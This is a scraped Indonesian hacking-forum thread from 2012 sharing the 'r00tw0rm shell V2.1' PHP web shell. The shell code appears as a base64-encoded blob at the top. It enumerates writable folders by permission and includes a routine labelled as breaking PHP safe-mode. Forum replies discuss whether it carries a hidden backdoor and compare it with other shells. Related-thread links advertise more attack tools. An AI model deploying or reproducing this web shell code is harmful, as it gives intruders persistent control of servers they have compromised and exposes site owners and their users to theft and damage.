KQ0KICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAkZm9sZGVyLic8YnIgLz4nOw0KICAgICAgICB9DQovLy8vLy8vLy8vDQok​aGFuZGxlID0gb3BlbmRpcigkcGF0aCk7DQoNCiAgICAgICAgJF9mb2xkZXJzID0gYXJyYXkoKTsNCg0KICAgICAgICAkaSA9IDA7DQoNCiB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZTEgPSByZWFkZGlyKCRoYW5kbGUpKSkNCiAgICAgICAgew0KICAgICAgICAgICAgICAgICRmdWxsX3BhdGggPSAiJHBhdGgvJGZpbGUxIjsNCiAgICAgICAgICAg​ICAgICAkcGVybXMgPSBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZ1bGxfcGF0aCkpLCAtNCk7DQoNCiAgICAgICAgICAgICAgICBpZiAoKGlzX2RpcigkZnVsbF9wYXRoKSkgJiYgKCRwZXJtcyA9PSAnMDYwNCcpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJy4q​JykpIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2ZvbGRlcnNbJGldID0gJGZpbGUxOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpKys7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCg0KDQogICAgICAgIGNsZWFyc3RhdGNhY2hlKCk7​DQoNCg0KDQogICAgICAgIGVjaG8gJzwvRk9OVD48c3Ryb25nPjxGT05UIENPTE9SPSM2Njk5OTk+VGhlIGZvbGRlcnMgaXMgNjA0IDo8L3N0cm9uZz48YnIgLz4nOw0KDQogICAgICAgIGZvcmVhY2ggKCRfZm9sZGVycyBhcyAkZm9sZGVyKQ0KICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAkZm9sZGVyLic8YnIgLz4nOw0KICAgICAg​ICB9DQovLy8vLy8vLy8vDQokaGFuZGxlID0gb3BlbmRpcigkcGF0aCk7DQoNCiAgICAgICAgJF9mb2xkZXJzID0gYXJyYXkoKTsNCg0KICAgICAgICAkaSA9IDA7DQoNCiB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZTEgPSByZWFkZGlyKCRoYW5kbGUpKSkNCiAgICAgICAgew0KICAgICAgICAgICAgICAgICRmdWxsX3BhdGggPSAiJHBhdGgvJGZp​bGUxIjsNCiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZ1bGxfcGF0aCkpLCAtNCk7DQoNCiAgICAgICAgICAgICAgICBpZiAoKGlzX2RpcigkZnVsbF9wYXRoKSkgJiYgKCRwZXJtcyA9PSAnMDcwNScpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlm​ICghZmlsZV9leGlzdHMoJy4qJykpIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2ZvbGRlcnNbJGldID0gJGZpbGUxOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpKys7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCg0KDQogICAgICAg​IGNsZWFyc3RhdGNhY2hlKCk7DQoNCg0KDQogICAgICAgIGVjaG8gJzwvRk9OVD48c3Ryb25nPjxGT05UIENPTE9SPSMzMzY2OTk+VGhlIGZvbGRlcnMgaXMgNzA1IDo8L3N0cm9uZz48YnIgLz4nOw0KDQogICAgICAgIGZvcmVhY2ggKCRfZm9sZGVycyBhcyAkZm9sZGVyKQ0KICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAkZm9sZGVy​Lic8YnIgLz4nOw0KICAgICAgICB9DQovLy8vLy8vLy8vDQokaGFuZGxlID0gb3BlbmRpcigkcGF0aCk7DQoNCiAgICAgICAgJF9mb2xkZXJzID0gYXJyYXkoKTsNCg0KICAgICAgICAkaSA9IDA7DQoNCiB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZTEgPSByZWFkZGlyKCRoYW5kbGUpKSkNCiAgICAgICAgew0KICAgICAgICAgICAgICAgICRmdWxs​X3BhdGggPSAiJHBhdGgvJGZpbGUxIjsNCiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZ1bGxfcGF0aCkpLCAtNCk7DQoNCiAgICAgICAgICAgICAgICBpZiAoKGlzX2RpcigkZnVsbF9wYXRoKSkgJiYgKCRwZXJtcyA9PSAnMDYwNicpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAg​ICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJy4qJykpIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2ZvbGRlcnNbJGldID0gJGZpbGUxOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpKys7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAg​ICB9DQoNCg0KDQogICAgICAgIGNsZWFyc3RhdGNhY2hlKCk7DQoNCg0KDQogICAgICAgIGVjaG8gJzwvRk9OVD48c3Ryb25nPjxGT05UIENPTE9SPSM5OTY2NjY+VGhlIGZvbGRlcnMgaXMgNjA2IDo8L3N0cm9uZz48YnIgLz4nOw0KDQogICAgICAgIGZvcmVhY2ggKCRfZm9sZGVycyBhcyAkZm9sZGVyKQ0KICAgICAgICB7DQogICAgICAgICAg​ICAgICAgZWNobyAkZm9sZGVyLic8YnIgLz4nOw0KICAgICAgICB9DQovLy8vLy8vLy8vDQokaGFuZGxlID0gb3BlbmRpcigkcGF0aCk7DQoNCiAgICAgICAgJF9mb2xkZXJzID0gYXJyYXkoKTsNCg0KICAgICAgICAkaSA9IDA7DQoNCiB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZTEgPSByZWFkZGlyKCRoYW5kbGUpKSkNCiAgICAgICAgew0KICAg​ICAgICAgICAgICAgICRmdWxsX3BhdGggPSAiJHBhdGgvJGZpbGUxIjsNCiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZ1bGxfcGF0aCkpLCAtNCk7DQoNCiAgICAgICAgICAgICAgICBpZiAoKGlzX2RpcigkZnVsbF9wYXRoKSkgJiYgKCRwZXJtcyA9PSAnMDcwMycpKQ0KICAgICAgICAg​ICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJy4qJykpIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2ZvbGRlcnNbJGldID0gJGZpbGUxOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpKys7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAg​ICAgICAgICAgfQ0KICAgICAgICB9DQoNCg0KDQogICAgICAgIGNsZWFyc3RhdGNhY2hlKCk7DQoNCg0KDQogICAgICAgIGVjaG8gJzwvRk9OVD48c3Ryb25nPjxGT05UIENPTE9SPSMzMzMzRkY+VGhlIGZvbGRlcnMgaXMgNzAzIDo8L3N0cm9uZz48YnIgLz4nOw0KDQogICAgICAgIGZvcmVhY2ggKCRfZm9sZGVycyBhcyAkZm9sZGVyKQ0KICAg​ICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAkZm9sZGVyLic8YnIgLz4nOw0KICAgICAgICB9DQoNCg0KDQogIH0NCiAgICAkaGFuZGxlID0gb3BlbmRpcigkcGF0aCk7DQoNCiAgICAgICAgJF9mb2xkZXJzID0gYXJyYXkoKTsNCg0KICAgICAgICAkaSA9IDA7DQoNCiB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZTEgPSByZWFkZGlyKCRoYW5k​bGUpKSkNCiAgICAgICAgew0KICAgICAgICAgICAgICAgICRmdWxsX3BhdGggPSAiJHBhdGgvJGZpbGUxIjsNCiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZ1bGxfcGF0aCkpLCAtNCk7DQoNCg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9mb2xkZXJzWyRpXSA9​ICRmaWxlMTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSsrOw0KDQoNCiAgICAgICAgfQ0KDQoNCg0KICAgICAgICBjbGVhcnN0YXRjYWNoZSgpOw0KDQoNCg0KDQoNCiAgICAgICAgZm9yZWFjaCAoJF9mb2xkZXJzIGFzICRmb2xkZXIpDQogICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICRmb2xkZXIuJzxiciAv​Pic7DQogICAgICAgIH0NCg0KJHRiLT50ZGJvZHkgKCI8L3RkPjwvdHI+PC90YWJsZT4iKTsNCg0KJHRiLT50YWJsZWhlYWRlcigpOw0KDQoNCg0KICBlcnJvcl9yZXBvcnRpbmcoRV9XQVJOSU5HKTsNCiAgaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAxKTsNCg0KICBlY2hvICI8aGVhZD48dGl0bGU+Ii5nZXRjd2QoKS4iPC90aXRsZT48L2hl​YWQ+IjsNCg0KICBlY2hvICI8Zm9ybSBtZXRob2Q9UE9TVD4iOw0KDQoNCg0KDQogIC8vIGJyZWFrIGZ1Y2tpbmcgc2FmZS1tb2RlICENCg0KICAkcm9vdCA9ICIvIjsNCg0KICBpZigkX1BPU1RbJ3Jvb3QnXSkgJHJvb3QgPSAkX1BPU1RbJ3Jvb3QnXTsNCg0KDQogICRjID0gMDsgJEQgPSBhcnJheSgpOw0KICBzZXRfZXJyb3JfaGFuZGxlcigi​ZWgiKTsNCg0KICAkY2hhcnMgPSAiXy0uMDEyMzQ1Njc4OTBhYmNkZWZnaGlqa2xubW9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaIjsNCg0KICBmb3IoJGk9MDsgJGkgPCBzdHJsZW4oJGNoYXJzKTsgJGkrKyl7DQogICRwYXRoID0ieyRyb290fSIuKChzdWJzdHIoJHJvb3QsLTEpIT0iLyIpID8gIi8iIDogTlVMTCkuInsk​Y2hhcnNbJGldfSI7DQoNCiAgJHByZXZEID0gJERbY291bnQoJEQpLTFdOw0KICBnbG9iKCRwYXRoLiIqIik7DQoNCiAgICAgICAgaWYoJERbY291bnQoJEQpLTFdICE9ICRwcmV2RCl7DQoNCiAgICAgICAgZm9yKCRqPTA7ICRqIDwgc3RybGVuKCRjaGFycyk7ICRqKyspew0KDQogICAgICAgICAgICRwYXRoID0ieyRyb290fSIuKChzdWJzdHIo​JHJvb3QsLTEpIT0iLyIpID8gIi8iIDogTlVMTCkuInskY2hhcnNbJGldfXskY2hhcnNbJGpdfSI7DQoNCiAgICAgICAgICAgJHByZXZEMiA9ICREW2NvdW50KCREKS0xXTsNCiAgICAgICAgICAgZ2xvYigkcGF0aC4iKiIpOw0KDQogICAgICAgICAgICAgIGlmKCREW2NvdW50KCREKS0xXSAhPSAkcHJldkQyKXsNCg0KDQogICAgICAgICAgICAg​ICAgIGZvcigkcD0wOyAkcCA8IHN0cmxlbigkY2hhcnMpOyAkcCsrKXsNCg0KICAgICAgICAgICAgICAgICAkcGF0aCA9Inskcm9vdH0iLigoc3Vic3RyKCRyb290LC0xKSE9Ii8iKSA/ICIvIiA6IE5VTEwpLiJ7JGNoYXJzWyRpXX17JGNoYXJzWyRqXX17JGNoYXJzWyRwXX0iOw0KDQogICAgICAgICAgICAgICAgICRwcmV2RDMgPSAkRFtjb3VudCgkRCktMV07DQogICAgICAgICAgICAgICAgIGdsb2IoJHBhdGguIioiKTsNCg0KICAgICAgICAgICAgICAgICAgICBpZigkRFtjb3VudCgkRCktMV0gIT0gJHByZXZEMyl7DQoNCg0K​ICAgICAgICAgICAgICAgICAgICAgICBmb3IoJHI9MDsgJHIgPCBzdHJsZW4oJGNoYXJzKTsgJHIrKyl7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgJHBhdGggPSJ7JHJvb3R9Ii4oKHN1YnN0cigkcm9vdCwtMSkhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRjaGFyc1skaV19eyRjaGFyc1skal19eyRjaGFyc1skcF19eyRjaGFyc1skcl19IjsN​CiAgICAgICAgICAgICAgICAgICAgICAgZ2xvYigkcGF0aC4iKiIpOw0KDQogICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgIH0NCg0KICAgICAgICB9DQoNCiAgICAgICAgfQ0KDQogIH0NCg0KICAkRCA9IGFycmF5X3VuaXF1ZSgkRCk7​DQoNCg0KICBmb3JlYWNoKCREIGFzICRpdGVtKSBlY2hvICJ7JGl0ZW19XG4iOw0KDQoNCg0KDQoNCiAgZnVuY3Rpb24gZWgoJGVycm5vLCAkZXJyc3RyLCAkZXJyZmlsZSwgJGVycmxpbmUpew0KDQogICAgIGdsb2JhbCAkRCwgJGMsICRpOw0KICAgICBwcmVnX21hdGNoKCIvY29weXJpZ2h0XHIwMHR3MHJtXHRlYW1cMjAxMi8iLCAkZXJyc3Ry​LCAkbyk7DQogICAgIGlmKCRvKXsgJERbJGNdID0gJG9bMl07ICRjKys7fQ0KDQogIH0NCiAgZWNobyAiPC90ZXh0YXJlYT4iOw0KJHRiLT50ZGJvZHkgKCI8L3RkPjwvdHI+PC90YWJsZT4iKTs='));
?>

semoga bermanfaat

Referensi: r00tw0rm.com
Visit this user's website Find all posts by this user
Quote this message in a reply
03-31-2012, 09:29 PM
Post: #2
blacklist69 Away
./Devilz Officer
Posts: 90
Joined: Jan 2012
Reputation: 1
RE: [SHARE] r00tw0rm shell V2.1
ada bekdor d balik bekdor gak om???
Find all posts by this user
Quote this message in a reply
03-31-2012, 09:40 PM
Post: #3
ubuntux Offline
./Admiral of Devilzc0der
Posts: 1,626
Joined: Dec 2011
Reputation: 75
RE: [SHARE] r00tw0rm shell V2.1
gak ada om, toolsnya lengkap kok omz ini screenshotnya:

[Image: 20hab87.jpg]
[Image: 2uz8rdi.jpg]
Visit this user's website Find all posts by this user
Quote this message in a reply
03-31-2012, 09:40 PM
Post: #4
KillerByte Offline
./Devilz Commander
Posts: 337
Joined: Jan 2012
Reputation: 5
RE: [SHARE] r00tw0rm shell V2.1
(03-31-2012 09:29 PM)blacklist69 Wrote:  ada bekdor d balik bekdor gak om???

takut?? jangan dipake ngakak ngakak
Visit this user's website Find all posts by this user
Quote this message in a reply
03-31-2012, 09:51 PM
Post: #5
blacklist69 Away
./Devilz Officer
Posts: 90
Joined: Jan 2012
Reputation: 1
RE: [SHARE] r00tw0rm shell V2.1
(03-31-2012 09:40 PM)KillerByte Wrote:  
(03-31-2012 09:29 PM)blacklist69 Wrote:  ada bekdor d balik bekdor gak om???

takut?? jangan dipake ngakak ngakak

wahahahaha trauma om ketawa
Find all posts by this user
Quote this message in a reply
03-31-2012, 09:53 PM
Post: #6
ubuntux Offline
./Admiral of Devilzc0der
Posts: 1,626
Joined: Dec 2011
Reputation: 75
RE: [SHARE] r00tw0rm shell V2.1
(03-31-2012 09:51 PM)blacklist69 Wrote:  
(03-31-2012 09:40 PM)KillerByte Wrote:  
(03-31-2012 09:29 PM)blacklist69 Wrote:  ada bekdor d balik bekdor gak om???

takut?? jangan dipake ngakak ngakak

wahahahaha trauma om ketawa

trauma gimana om?
Visit this user's website Find all posts by this user
Quote this message in a reply
03-31-2012, 09:55 PM
Post: #7
nobodyknowme Offline
./Devilz Officer
Posts: 130
Joined: Mar 2012
Reputation: 10
RE: [SHARE] r00tw0rm shell V2.1
masih kerenan toolsnya b374k ketawa
Find all posts by this user
Quote this message in a reply
03-31-2012, 10:11 PM (This post was last modified: 03-31-2012 10:13 PM by cotalika.)
Post: #8
cotalika Offline
./Devilz Commander
Posts: 352
Joined: Oct 2010
Reputation: 3
RE: [SHARE] r00tw0rm shell V2.1
b374k di hatii bangga
keren bemo lagi gan, paling joss!!
Visit this user's website Find all posts by this user
Quote this message in a reply
04-01-2012, 07:58 AM
Post: #9
nuxbie_cyber Offline
./Devilz Commander
Posts: 267
Joined: Jun 2011
Reputation: 23
RE: [SHARE] r00tw0rm shell V2.1
keren... smangat
r00tw0rm yang pegang om CrosS itu kan...???

temannya om r0073r Inj3ct0r... wawa
Find all posts by this user
Quote this message in a reply
04-01-2012, 08:48 AM
Post: #10
ubuntux Offline
./Admiral of Devilzc0der
Posts: 1,626
Joined: Dec 2011
Reputation: 75
RE: [SHARE] r00tw0rm shell V2.1
(04-01-2012 07:58 AM)nuxbie_cyber Wrote:  keren... smangat
r00tw0rm yang pegang om CrosS itu kan...???

temannya om r0073r Inj3ct0r... wawa

iya om, yang pegang r00tw0rm itu om cross, temennya om r0073r Inj3t0r smangat
Visit this user's website Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Pages (2): 1 2 Next »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  SBH Shell V1 brianfahmi 13 297 05-10-2013 02:11 PM
Last Post: uzumady
  Tool Generator buat Convert PHP Shell to PNG/GIF Regel 15 429 04-12-2013 12:59 PM
Last Post: Backtracktux
Heart (Share) Ollydbg Modification Pack for All Occasions redbastard 10 186 03-08-2013 08:55 PM
Last Post: indohacking
  [Share] Symlink/Jumpingan SBH :) brianfahmi 13 383 02-19-2013 06:17 PM
Last Post: brianfahmi
  Share Tools FREE | little devil binder | SCANTIME+RUNTIME | FUD - 0/45 | panjidani 1 86 02-18-2013 10:34 AM
Last Post: naufalez
  [share] dz-htaccess Generat0r jincorn 9 240 02-02-2013 02:01 PM
Last Post: brianfahmi
  [Share] tools/web-sites-on-web-server jincorn 13 242 01-10-2013 12:27 AM
Last Post: ./r14nul
  [share] webcruiser v2.6.1 enterprise edition wiLMaR_kiDz 7 160 01-09-2013 10:15 PM
Last Post: wiLMaR_kiDz
  [share]Hash Identifier RieqyNS13 2 108 12-26-2012 04:49 PM
Last Post: bazrezs
  [SHARE] SQL Injection Vulnerability Scanner + Dork List [Perl] ./r14nul 12 592 11-30-2012 04:05 PM
Last Post: hitheir

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 05-25-2013, 09:11 AM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE